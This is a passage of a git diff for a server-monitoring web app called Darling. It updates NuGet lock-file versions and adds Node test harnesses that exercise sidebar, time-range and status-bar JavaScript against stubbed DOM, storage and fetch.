-        "contentHash": "LF3fUze3mbiOj+EGEPK5mTgd+VYA5X7Xk5wU6ITMFjo11oce0tMfPifdOAGlnWIgad1jV2s1bDaLRiwkE7aHpg==",
+        "requested": "[4.0.106.1, )",
+        "resolved": "4.0.106.1",
+        "contentHash": "ok3d6CrjA4jS6u6gZC46AHPPStSzjfzp2y/TF19GJRrIvK1eRgkay0xVJaXYrqbmn65W0u6ziMSsFhXlwCfWtw==",
+        "dependencies": {
+          "AWSSDK.Core": "[4.0.102.8, 5.0.0)"
+        }
+      },
+      "AWSSDK.SecurityToken": {
+        "type": "CentralTransitive",
+        "requested": "[4.0.101.1, )",
+        "resolved": "4.0.101.1",
+        "contentHash": "rZnMaqiYwDzbvTqeO7dWhqxEn96RleyR9KN6GYeWispPt9NQPRDUcfYZarvG7Eba5NvDNomhpcQJSNO+VoteGQ==",
         "dependencies": {
-          "AWSSDK.Core": "[4.0.102.6, 5.0.0)"
+          "AWSSDK.Core": "[4.0.102.8, 5.0.0)"
         }
       },
       "BlackwellSystems.Gcf": {
         "type": "CentralTransitive",
-        "requested": "[1.0.0, )",
-        "resolved": "1.0.0",
-        "contentHash": "5lPo/j4MuYLMA7K7czkI7RIs+KNgnN10QFTkVJHL7I7jCykxIz5jWAPXhPY5LABr7+0v9vuBIDVxIMUI9iNSxw=="
+        "requested": "[1.1.0, )",
+        "resolved": "1.1.0",
+        "contentHash": "3W0WeEwI7DgilhCIGKGbNyUgl8o+HsaQzcH8Diqyqy6eBOirxv+HWuNtLJC4P/A2uz51pel2KTM6Q6tVSl/QpA=="
       },
       "CredentialManagement": {
         "type": "CentralTransitive",
@@ -876,13 +899,13 @@
       },
       "Microsoft.Data.SqlClient": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -893,14 +916,14 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Azure": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "ZMfBGoTa2D1VugOSh8y6Klv9mh8hefgjygAFiSHAl/1dw+EehRrBl6YFbB8IX27XUHj1tQ0I+bdGMZ5DtwMOlw==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "3/Z+6JJKGUw8+shNtftUSGOagt7XCbuhXknZjzXQfDr5aA4lUEMtU/MMNSiwMIrkviYslNKvFh1yWOArudDxQA==",
         "dependencies": {
           "Azure.Core": "1.51.1",
           "Azure.Identity": "1.18.0",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "8.0.1",
           "Microsoft.Identity.Client": "4.84.2",
           "Microsoft.Identity.Client.Broker": "4.84.2"
@@ -1036,11 +1059,17 @@
         "resolved": "5.0.0",
         "contentHash": "SxHB3nuNrpptVk+vZ/F+7OHEpoHUIKKMl02bUmYHQr1r+glbZQxs7pRtsf4ENO29TVm2TH3AEeep2fJcy92oYw=="
       },
+      "System.Security.Cryptography.ProtectedData": {
+        "type": "CentralTransitive",
+        "requested": "[10.0.12, )",
+        "resolved": "10.0.12",
+        "contentHash": "wO0W8VDMeRJZakRySOmemAnrBZMwEFRlbfBtATxUiLf2I3IhSRnCp1Vt157NWptdE4IJ7eftd5n8q9LtaKHFTQ=="
+      },
       "Velopack": {
         "type": "CentralTransitive",
-        "requested": "[1.2.158, )",
-        "resolved": "1.2.158",
-        "contentHash": "wQN38beVrAf0WzFMnZtl7UmwxqwaJ7xVYypqITdOI4YUTYch2UvE+xAjg9msfaitVDtgfWeIcGsjRNQ65C03ZQ=="
+        "requested": "[1.2.161, )",
+        "resolved": "1.2.161",
+        "contentHash": "OpHNacIumnkhaaX3ZlQ/TCR4YPOJvud2/PAOoWb6o+mIrLwIVA275I5wAgt4q/1O2VrJeDwR1qFQyqzG4lUArg=="
       }
     }
   }
diff --git a/Darling/Darling.Tests/page-range-harness.mjs b/Darling/Darling.Tests/page-range-harness.mjs
new file mode 100644
index 0000000000..60837d54b1
--- /dev/null
+++ b/Darling/Darling.Tests/page-range-harness.mjs
@@ -0,0 +1,118 @@
+/* Runs the pure parts of the single-read pages' time range code (#5562, lane L2b) under Node and prints one line of JSON:
+   the collector interval a catalog serves for a collector (a per-server schedule row wins), the "collected every N minutes" note
+   (shown below 3 samples, never widening the range), the rolling-only refusals (R5), the whole-hours window a held range gives a
+   read, and the Fleet Sweep timeline's trim to the exact range.
+       node page-range-harness.mjs <path to wwwroot/js>
+   The whole js tree is copied into a scratch folder beside a package.json that marks it as an ES module (#5279). */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+globalThis.document = { createElement: () => ({}), createTextNode: () => ({}) };
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "page-range-"));
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const load = (...parts) => import(pathToFileURL(path.join(scratch, ...parts)).href);
+  const pageRange = await load("page-range.js");
+  const tr = await load("time-range.js");
+
+  const MIN = 60000;
+  const HOUR = 3600000;
+  const catalog = (interval) => ({
+    reads: [
+      { name: "get_wait_trend", params: [{ name: "hours", collector: "wait_stats", collector_interval_minutes: interval, max_hours: 168 }] },
+      { name: "get_cpu_utilization", params: [{ name: "hours", collector: "cpu_utilization", collector_interval_minutes: 1, max_hours: 168 }] },
+      { name: "get_alert_history", params: [{ name: "hours", collector: null, collector_interval_minutes: null, max_hours: 2160 }] },
+    ],
+  });
+  const out = {};
+
+  out.interval = {
+    waitStatsDefault: pageRange.collectorIntervalFromCatalog(catalog(1), "wait_stats") / MIN,
+    waitStatsServerOverride: pageRange.collectorIntervalFromCatalog(catalog(5), "wait_stats") / MIN,
+    unknownCollector: pageRange.collectorIntervalFromCatalog(catalog(1), "no_such"),
+    noCollector: pageRange.collectorIntervalFromCatalog(catalog(1), null),
+    noCatalog: pageRange.collectorIntervalFromCatalog(null, "wait_stats"),
+  };
+
+  const note = (spanMin, intervalMin) => tr.sampleIntervalNote(spanMin * MIN, intervalMin * MIN);
+  out.note = {
+    fiveMinutesAtFive: note(5, 5),
+    fourteenMinutesAtFive: note(14, 5),
+    fifteenMinutesAtFive: note(15, 5),
+    fiveMinutesAtOne: note(5, 1),
+    thirtyMinutesAtHour: note(30, 60),
+    threeHoursAtHour: note(180, 60),
+    noInterval: tr.sampleIntervalNote(5 * MIN, null),
+  };
+
+  const rolling = (spec, spanMs, minSpanMs, stepMs) => tr.rollingOnlyRefusal(spec, spanMs, minSpanMs, stepMs);
+  out.rolling = {
+    ok: rolling(tr.relativeSpec(24 * HOUR), 24 * HOUR),
+    underAnHour: rolling(tr.relativeSpec(30 * MIN), 30 * MIN),
+    fractionalHours: rolling(tr.relativeSpec(90 * MIN), 90 * MIN),
+    calendar: rolling(tr.calendarSpec("yesterday"), 24 * HOUR),
+    finished: rolling(tr.fixedSpec(0, 2 * HOUR), 2 * HOUR),
+    since: rolling(tr.sinceSpec(0), 2 * HOUR),
+    daysOk: rolling(tr.relativeSpec(30 * 24 * HOUR), 30 * 24 * HOUR, 24 * HOUR, 24 * HOUR),
+    daysHours: rolling(tr.relativeSpec(36 * HOUR), 36 * HOUR, 24 * HOUR, 24 * HOUR),
+    daysBelowFloor: rolling(tr.relativeSpec(12 * HOUR), 12 * HOUR, 24 * HOUR, 24 * HOUR),
+  };
+
+  const now = Date.parse("2026-10-08T12:00:00Z");
+  const w = (spec) => pageRange.windowOfSpec(spec, now, "UTC");
+  out.window = {
+    thirtyMinutes: w(tr.relativeSpec(30 * MIN)),
+    rolling: w(tr.relativeSpec(4 * HOUR)),
+    finished: w(tr.fixedSpec(now - 26 * HOUR, now - 2 * HOUR)),
+  };
+
+  /* R9: a calendar period is exempt from the 5 minute floor and refused only at zero length (exactly midnight). */
+  const today = (iso) => pageRange.windowResultOfSpec(tr.calendarSpec("today"), Date.parse(iso), "UTC");
+  out.calendarFloor = {
+    twoMinutesIn: today("2026-10-08T00:02:00Z"),
+    atMidnight: today("2026-10-08T00:00:00Z"),
+    typedUnderFloor: tr.resolveSpec(tr.relativeSpec(3 * MIN), now, "UTC").error.code,
+  };
+
+  /* A server's catalog is read once, kept until its time is up and then read again. The entry expires on lookup, not on a timer:
+     a pending timer would keep this process (and a test waiting on it) alive for the whole time to live. */
+  let catalogReads = 0;
+  let clock = now;
+  const realNow = Date.now;
+  Date.now = () => clock;
+  globalThis.fetch = async () => {
+    catalogReads++;
+    return { ok: true, status: 200, text: async () => JSON.stringify(catalog(1)) };
+  };
+  try {
+    await pageRange.serverCatalog("SRV1");
+    await pageRange.serverCatalog("SRV1");
+    const afterTwoLookups = catalogReads;
+    clock += 4 * MIN;
+    await pageRange.serverCatalog("SRV1");
+    const afterFourMinutes = catalogReads;
+    clock += 2 * MIN;
+    await pageRange.serverCatalog("SRV1");
+    out.catalogTtl = { afterTwoLookups, afterFourMinutes, afterSixMinutes: catalogReads };
+  } finally {
+    Date.now = realNow;
+  }
+
+  const sweeps = await load("pages", "sweeps.js");
+  const stamp = (minutesAgo) => ({ swept_at: new Date(now - minutesAgo * MIN).toISOString() });
+  const trimmed = sweeps.timelineSweeps([stamp(5), stamp(20), stamp(50), { swept_at: "not a time" }], pageRange.windowOfSpec(tr.relativeSpec(30 * MIN), now, "UTC"));
+  out.sweeps = { kept: trimmed.length, all: sweeps.timelineSweeps([stamp(5), stamp(500)], null).length };
+
+  const jobs = await load("pages", "job-history.js");
+  const runs = [{ run_time: new Date(now - 5 * MIN).toISOString() }, { run_time: new Date(now - 50 * MIN).toISOString() }, { run_time: "?" }];
+  out.jobs = { kept: jobs.trimRunsToStart({ runs }, pageRange.windowOfSpec(tr.relativeSpec(30 * MIN), now, "UTC")).runs.length };
+
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/sidebar-harness.mjs b/Darling/Darling.Tests/sidebar-harness.mjs
new file mode 100644
index 0000000000..8221f075c2
--- /dev/null
+++ b/Darling/Darling.Tests/sidebar-harness.mjs
@@ -0,0 +1,286 @@
+/* Runs the shipped sidebar server list (wwwroot/js/sidebar.js) and the grouping rules it shares with the Fleet page
+   (wwwroot/js/fleet-groups.js) under Node against a fake DOM and a stubbed localStorage, and prints the result of a
+   scenario as one line of JSON. SidebarSearchGroupTests starts it as
+       node sidebar-harness.mjs <path to wwwroot/js> <scenario>
+   The modules are copied unchanged into a scratch folder and imported as the browser would. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.checked = false;
+    this.handlers = {};
+    this.text = text == null ? null : String(text);
+  }
+  get firstChild() { return this.children[0] || null; }
+  appendChild(child) { this.children.push(child); return child; }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) { this.attrs[name] = String(value); }
+  focus() { globalThis.document.activeElement = this; }
+  addEventListener(type, fn) { (this.handlers[type] ||= []).push(fn); }
+  set textContent(value) { this.children = []; this.text = String(value); }
+  get textContent() { return (this.text || "") + this.children.map((c) => c.textContent).join(""); }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+globalThis.window = globalThis;
+globalThis.location = { hash: "", pathname: "/", search: "", href: "http://localhost/", origin: "http://localhost" };
+const data = {};
+globalThis.localStorage = {
+  getItem: (k) => (Object.prototype.hasOwnProperty.call(data, k) ? data[k] : null),
+  setItem: (k, v) => { data[k] = String(v); },
+  removeItem: (k) => { delete data[k]; },
+};
+
+const all = (node, pred, out = []) => {
+  if (pred(node)) out.push(node);
+  for (const c of node.children) all(c, pred, out);
+  return out;
+};
+const fire = (node, type, e = {}) => { for (const fn of node.handlers[type] || []) fn(e); };
+const names = (root) => all(root, (n) => n.className === "name").map((n) => n.textContent);
+const headers = (root) => all(root, (n) => n.className === "sidebar-group-header").map((n) => n.children.map((c) => c.textContent).join(" ").replace(/^[\u25B8\u25BE] /, ""));
+const lines = (root) => root.children.map((n) => (n.className === "sidebar-group-header" ? "G:" : "S:") + (n.className === "sidebar-group-header" ? n.children[1].textContent : n.children[1].textContent));
+
+const tag = (id, name, parent_id, sort_order) => ({ id, name, parent_id, sort_order, colour: null });
+const forest = [tag(1, "East", null, 0), tag(2, "Prod", 1, 0), tag(3, "West", null, 1), tag(4, "Spare", null, 2)];
+const card = (server_id, display_name, server_name, tags, band = "Healthy") => ({ server_id, display_name, server_name, tags, band });
+const cards = [
+  card(1, "Alpha", "alpha-host.example.test", [{ id: 2, name: "Prod" }]),
+  card(2, "Bravo", "bravo-host.example.test", [{ id: 2, name: "Prod" }, { id: 3, name: "West" }]),
+  card(3, "Charlie", "charlie-host.example.test", [{ id: 1, name: "East" }]),
+  card(4, "Delta", "delta-host.example.test", []),
+  card(5, "Echo", "echo-host.example.test", [{ id: 3, name: "West" }]),
+];
+const fleet = { cards, tags: forest };
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "sidebar-"));
+const out = {};
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  const groups = await load("fleet-groups.js");
+  const side = await load("sidebar.js");
+  const local = await load("viewer-local.js");
+
+  const byName = (a, b) => a.display_name.localeCompare(b.display_name);
+  const rowsFor = (term, grouped, o = {}) => groups.sidebarRows(cards, forest, {
+    term, grouped, sortFn: byName, isFavorite: o.isFavorite || (() => false), isCollapsed: o.isCollapsed || (() => false),
+  });
+  const shape = (m) => m.rows.map((r) => (r.kind === "group" ? "G:" + r.name + "(" + r.count + (r.collapsed ? ",c" : "") + ")@" + r.depth : "S:" + r.card.display_name + "@" + r.depth));
+
+  if (scenario === "filter") {
+    const match = (term) => names2(rowsFor(term, false));
+    const names2 = (m) => m.rows.map((r) => r.card.display_name);
+    out.byDisplay = match("ALPH");
+    out.byServerName = match("charlie-host");
+    out.byTag = match("west");
+    out.byTagCase = match("PROD");
+    out.padded = match("  delta ");
+    out.empty = match("");
+    out.none = rowsFor("zzz", false);
+  } else if (scenario === "groupedOrder") {
+    out.plain = shape(rowsFor("", true));
+    out.withFavourites = shape(rowsFor("", true, { isFavorite: (c) => c.server_id === 5 || c.server_id === 4 }));
+    out.collapsedEast = shape(rowsFor("", true, { isCollapsed: (id) => id === 1 }));
+    out.collapsedUntagged = shape(rowsFor("", true, { isCollapsed: (id) => id === "untagged" }));
+    out.filtered = shape(rowsFor("west", true));
+    out.noMatch = rowsFor("zzz", true);
+  } else if (scenario === "paint") {
+    const host = new FakeNode("div");
+    const list = new FakeNode("div");
+    // app.js's paintSidebar: the last fleet and the CURRENT route, read fresh; it is also what typing calls
+    const paintSidebar = () => side.paintServerList(list, fleet, null);
+    side.initSidebarSearch(host, paintSidebar);
+    // app.js repaints the sidebar on every viewer-local change (onLocalChange(paintSidebar)); this mirrors it
+    local.onChange(paintSidebar);
+    const input = all(host, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    const toggle = all(host, (n) => n.tag === "input" && n.attrs.type === "checkbox")[0];
+    side.paintServerList(list, fleet, null);
+    out.flat = names(list);
+    out.inputFirst = host.children[0] === input;
+    input.value = "Prod";
+    fire(input, "input");
+    out.typed = names(list);
+    // the 60 s poll: a fresh payload painted into the same list, then a route change repaint with an active server
+    side.paintServerList(list, { cards: cards.slice().reverse(), tags: forest }, "bravo-host.example.test");
+    out.afterPoll = names(list);
+    out.termAfterPoll = side.sidebarSearchTerm();
+    out.activeAfterPoll = all(list, (n) => /\bactive\b/.test(n.className)).map((n) => n.dataset.display);
+    input.value = "zzz";
+    fire(input, "input");
+    out.noMatchText = list.textContent;
+    out.noMatchRows = list.children.length;
+    input.value = "";
+    fire(input, "input");
+    out.cleared = names(list);
+    out.inputFirstAfterRepaints = host.children[0] === input && all(host, (n) => n.attrs.type === "search")[0] === input;
+    // grouped view through the toggle
+    toggle.checked = true;
+    fire(toggle, "change");
+    out.groupedLines = lines(list);
+    out.stored = JSON.parse(data["darling.local.sidebar.v1"]);
+    // collapse the East group (it holds Prod): its header toggles and the choice is stored by id
+    const east = all(list, (n) => n.className === "sidebar-group-header" && n.dataset.group === "1")[0];
+    fire(east, "click");
+    out.afterCollapse = lines(list);
+    out.storedAfterCollapse = JSON.parse(data["darling.local.sidebar.v1"]);
+    out.storedText = data["darling.local.sidebar.v1"];
+  } else if (scenario === "activeRoute") {
+    // M1: a route change only toggles classes on the existing rows (app.js updateServerActive); typing afterwards
+    // must still paint the CURRENT route's server as active, not the one of the last full paint.
+    const host = new FakeNode("div");
+    const list = new FakeNode("div");
+    let route = "alpha-host.example.test";
+    const paintSidebar = () => side.paintServerList(list, fleet, route);
+    side.initSidebarSearch(host, paintSidebar);
+    const input = all(host, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    paintSidebar();
+    out.before = all(list, (n) => /\bactive\b/.test(n.className)).map((n) => n.dataset.display);
+    route = "echo-host.example.test"; // the route changed; no repaint
+    input.value = "o";
+    fire(input, "input");
+    out.afterTyping = all(list, (n) => /\bactive\b/.test(n.className)).map((n) => n.dataset.display);
+    out.rows = names(list);
+  } else if (scenario === "searchOpensCollapsed") {
+    // M2: a collapsed group never hides a match while a term is typed; the stored choice is untouched
+    const host = new FakeNode("div");
+    const list = new FakeNode("div");
+    const paintSidebar = () => side.paintServerList(list, fleet, null);
+    side.initSidebarSearch(host, paintSidebar);
+    local.onChange(paintSidebar);
+    const input = all(host, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    const toggle = all(host, (n) => n.tag === "input" && n.attrs.type === "checkbox")[0];
+    toggle.checked = true;
+    fire(toggle, "change");
+    local.toggleSidebarGroup(1); // East collapsed (Prod is under it, Alpha is in Prod)
+    out.collapsed = lines(list);
+    out.collapsedHeaders = headers(list);
+    input.value = "alpha";
+    fire(input, "input");
+    out.searching = lines(list);
+    out.searchingHeaders = headers(list);
+    out.storedWhileSearching = JSON.parse(data["darling.local.sidebar.v1"]).collapsedGroups;
+    input.value = "  ";
+    fire(input, "input");
+    out.blankTerm = lines(list); // whitespace only is not a search: East is collapsed again
+    input.value = "";
+    fire(input, "input");
+    out.cleared = lines(list);
+    out.clearedHeaders = headers(list);
+    // the pure helper: the default (no term) keeps the collapse, a term opens it
+    out.helperNoTerm = shape(rowsFor("", true, { isCollapsed: (id) => id === 1 }));
+    out.helperTerm = shape(rowsFor("alpha", true, { isCollapsed: (id) => id === 1 }));
+  } else if (scenario === "headerFocus") {
+    // L1: Enter on a group header toggles it and the repainted header of the same group keeps keyboard focus
+    const host = new FakeNode("div");
+    const list = new FakeNode("div");
+    const paintSidebar = () => side.paintServerList(list, fleet, null);
+    side.initSidebarSearch(host, paintSidebar);
+    local.onChange(paintSidebar);
+    local.setSidebarGrouped(true);
+    const headerFor = (id) => all(list, (n) => n.className === "sidebar-group-header" && n.dataset.group === id)[0];
+    const west = headerFor("3");
+    west.focus();
+    fire(west, "keydown", { key: "Enter", preventDefault() {} });
+    const after = headerFor("3");
+    out.replaced = after !== west;
+    out.focusIsSameGroup = document.activeElement === after && after.dataset.group === "3";
+    out.collapsed = after.attrs["aria-expanded"];
+    fire(after, "keydown", { key: " ", preventDefault() {} });
+    out.secondToggle = document.activeElement === headerFor("3") && headerFor("3").attrs["aria-expanded"] === "true";
+    // focus elsewhere (the search box) is not stolen by a repaint
+    const input = all(host, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+    input.focus();
+    fire(input, "input");
+    out.searchKeepsFocus = document.activeElement === input;
+  } else if (scenario === "collapsedCount") {
+    // N1: a collapsed header shows its SUBTREE count (distinct servers); an expanded one keeps the direct count
+    const plain = rowsFor("", true);
+    const collapsed = rowsFor("", true, { isCollapsed: (id) => id === 1 });
+    const pick = (m, name) => m.rows.find((r) => r.kind === "group" && r.name === name);
+    out.eastExpanded = [pick(plain, "East").count, pick(plain, "East").subtreeCount];
+    out.eastCollapsed = [pick(collapsed, "East").count, pick(collapsed, "East").subtreeCount];
+    // a multi-tag server under two children of one parent counts once in the parent
+    const f2 = [tag(1, "P", null, 0), tag(2, "A", 1, 0), tag(3, "B", 1, 1)];
+    const c2 = [card(1, "One", "one", [{ id: 2, name: "A" }, { id: 3, name: "B" }]), card(2, "Two", "two", [{ id: 3, name: "B" }])];
+    const m2 = groups.sidebarRows(c2, f2, { term: "", grouped: true, sortFn: byName, isFavorite: () => false, isCollapsed: (id) => id === 1 });
+    out.parentOnly = [m2.rows[0].count, m2.rows[0].subtreeCount];
+    // painted text
+    const list = new FakeNode("div");
+    side.paintServerList(list, { cards, tags: forest }, null); // flat: no headers
+    local.setSidebarGrouped(true);
+    local.toggleSidebarGroup(1);
+    side.paintServerList(list, { cards, tags: forest }, null);
+    out.collapsedHeader = headers(list)[0];
+    local.toggleSidebarGroup(1);
+    side.paintServerList(list, { cards, tags: forest }, null);
+    out.expandedHeader = headers(list)[0];
+  } else if (scenario === "roundTrip") {
+    local.setSidebarGrouped(true);
+    local.toggleSidebarGroup(2);
+    local.toggleSidebarGroup("untagged");
+    local.toggleSidebarGroup("favourites");
+    local.toggleSidebarGroup("bogus");
+    local.toggleSidebarGroup(-3);
+    local.setSidebarCollapsed(true); // a second field of the same key must not drop the first
+    local.reload();
+    out.grouped = local.isSidebarGrouped();
+    out.collapsed = [1, 2, "untagged", "favourites", "bogus"].filter(local.isSidebarGroupCollapsed);
+    out.sidebarCollapsed = local.isSidebarCollapsed();
+    out.stored = JSON.parse(data["darling.local.sidebar.v1"]);
+    local.toggleSidebarGroup(2);
+    local.reload();
+    out.afterExpand = [2, "untagged"].filter(local.isSidebarGroupCollapsed);
+    out.fleetKeys = Object.keys(data).filter((k) => k.startsWith("darling.fleet."));
+    out.storesNoNames = !/Prod|West|East|Alpha/.test(data["darling.local.sidebar.v1"]);
+  } else if (scenario === "corruptStorage") {
+    const cases = {
+      garbage: "{not json",
+      arrayRoot: "[1,2]",
+      foreignVersion: JSON.stringify({ v: 9, grouped: true, collapsedGroups: [1] }),
+      wrongTypes: JSON.stringify({ v: 1, grouped: "yes", collapsedGroups: "1" }),
+      badEntries: JSON.stringify({ v: 1, grouped: 1, collapsedGroups: [1.5, -2, "Prod", null, {}, "untagged"] }),
+    };
+    out.results = {};
+    for (const [name, raw] of Object.entries(cases)) {
+      data["darling.local.sidebar.v1"] = raw;
+      local.reload();
+      const list = new FakeNode("div");
+      side.paintServerList(list, fleet, null);
+      out.results[name] = {
+        grouped: local.isSidebarGrouped(),
+        collapsed: [1, 2, -2, "Prod", "untagged", "favourites"].filter(local.isSidebarGroupCollapsed),
+        painted: names(list),
+      };
+    }
+  } else {
+    throw new Error("unknown scenario " + scenario);
+  }
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/status-bar-harness.mjs b/Darling/Darling.Tests/status-bar-harness.mjs
new file mode 100644
index 0000000000..da2b317ef7
--- /dev/null
+++ b/Darling/Darling.Tests/status-bar-harness.mjs
@@ -0,0 +1,99 @@
+/* Runs the web shell's real status-bar code (the region of wwwroot/js/app.js between "const STORE_SIZE_TTL_MS"
+   and the refresh-loop banner) on a scenario and prints what the bar drew as one line of JSON.
+   StatusBarBehaviourTests starts it as: node status-bar-harness.mjs <path to app.js> <scenario>
+   app.js is the page's entry module (imports + top-level DOM wiring), so only the status-bar region is evaluated,
+   against stand-ins for the DOM helpers, the session probe, the store read and fetch. */
+import fs from "node:fs";
+import vm from "node:vm";
+
+const [appPath, scenario] = process.argv.slice(-2);
+const full = fs.readFileSync(appPath, "utf8").replace(/\r\n/g, "\n");
+const start = full.indexOf("const STORE_SIZE_TTL_MS");
+const end = full.indexOf("/* ─────────────────────────── refresh loop");
+if (start < 0 || end < start) throw new Error("app.js layout changed: status-bar region not found");
+const source = full.slice(start, end);
+
+const flat = (x) => (Array.isArray(x) ? x.flatMap(flat) : x == null ? [] : [x]);
+const el = (tag, attrs, kids) => ({ tag, cls: (attrs && attrs.class) || "", text: attrs && attrs.text, kids: flat(kids) });
+const sc = {
+  session: { can_edit: true },
+  ping: { status: "ok" },
+  storeHost: { kind: "data", data: { store: { size_bytes: 5 * 1024 ** 3 } } },
+};
+const counts = { storeReads: 0 };
+let bar = null;
+const statusbar = {};
+const context = vm.createContext({
+  console,
+  Date: class extends Date { static now() { return clock.t; } },
+  Set, Number, isFinite, Promise, JSON,
+  el,
+  mount: (_p, nodes) => { bar = flat(nodes); },
+  localTime: String,
+  updateRefreshHint: () => {},
+  statusbar,
+  getSession: () => (sc.session instanceof Error ? Promise.reject(sc.session) : Promise.resolve(sc.session)),
+  readTool: async (tool) => {
+    counts.storeReads++;
+    if (tool !== "get_store_host") throw new Error("unexpected read " + tool);
+    if (sc.storeHost instanceof Error) throw sc.storeHost;
+    return sc.storeHost;
+  },
+  fetch: async (path) => {
+    if (path !== "/api/ping") throw new Error("unexpected fetch " + path);
+    if (sc.ping instanceof Error) throw sc.ping;
+    return { json: async () => sc.ping };
+  },
+});
+const clock = { t: 1_000_000 };
+vm.runInContext(source + "\nthis.updateStatusBar = updateStatusBar; this.notePageUpdated = notePageUpdated;", context);
+
+const fleet = { cards: [{ healthy_collector_count: 3, failed_collector_count: 1 }], total_servers: 1, generated_at: "T" };
+const settle = () => new Promise((r) => setTimeout(r, 20));
+const texts = () => (bar || []).filter((n) => n.cls.includes("sb-item")).map((n) => n.text);
+const poll = async () => { context.updateStatusBar(fleet); await settle(); return texts(); };
+
+const run = {
+  async seatWrite() { sc.session = { can_edit: true }; return { items: await poll() }; },
+  async seatRead() { sc.session = { can_edit: false }; return { items: await poll() }; },
+  async seatProbeFailed() { sc.session = { can_edit: false, probe_failed: true }; return { items: await poll() }; },
+  async storeSize() { return { items: await poll() }; },
+  async storeSizeMb() { sc.storeHost = { kind: "data", data: { store: { size_bytes: 300 * 1024 ** 2 } } }; return { items: await poll() }; },
+  async cached() {
+    await poll(); clock.t += 4 * 60 * 1000; const items = await poll();
+    return { items, reads: counts.storeReads };
+  },
+  async refetched() {
+    await poll(); clock.t += 6 * 60 * 1000; sc.storeHost = { kind: "data", data: { store: { size_bytes: 6 * 1024 ** 3 } } };
+    const items = await poll();
+    return { items, reads: counts.storeReads };
+  },
+};
+const pings = ["starting", "degraded", "stopped", "ok"];
+for (const p of pings) {
+  run["ping_" + p] = async () => { sc.ping = { status: p }; return { items: await poll() }; };
+}
+run.storeFails = async () => {
+  sc.storeHost = new Error("down");
+  const items = await poll();
+  return { items, hasBar: Array.isArray(bar) && bar.length > 0 };
+};
+run.storeFailsAfterGood = async () => {
+  await poll(); clock.t += 6 * 60 * 1000; sc.storeHost = { kind: "error", message: "x" };
+  return { items: await poll() };
+};
+run.pingFails = async () => { sc.ping = new Error("net"); return { items: await poll() }; };
+// W3/W10: the footer's Updated time follows the page's own load, not the fleet roll-up's generated_at.
+run.pageUpdated = async () => {
+  const before = await poll();
+  clock.t += 5 * 60 * 1000;
+  context.notePageUpdated(clock.t);
+  await settle();
+  const afterPage = texts();
+  const afterNextFleetPoll = await poll();
+  return { before, afterPage, afterNextFleetPoll, stamp: new Date(clock.t).toISOString() };
+};
+run.sessionFails = async () => { sc.session = new Error("net"); return { items: await poll() }; };
+
+if (!run[scenario]) throw new Error("unknown scenario " + scenario);
+console.log(JSON.stringify(await run[scenario]()));
diff --git a/Darling/Darling.Tests/time-range-harness.mjs b/Darling/Darling.Tests/time-range-harness.mjs
new file mode 100644
index 0000000000..23154372b1
--- /dev/null
+++ b/Darling/Darling.Tests/time-range-harness.mjs
@@ -0,0 +1,47 @@
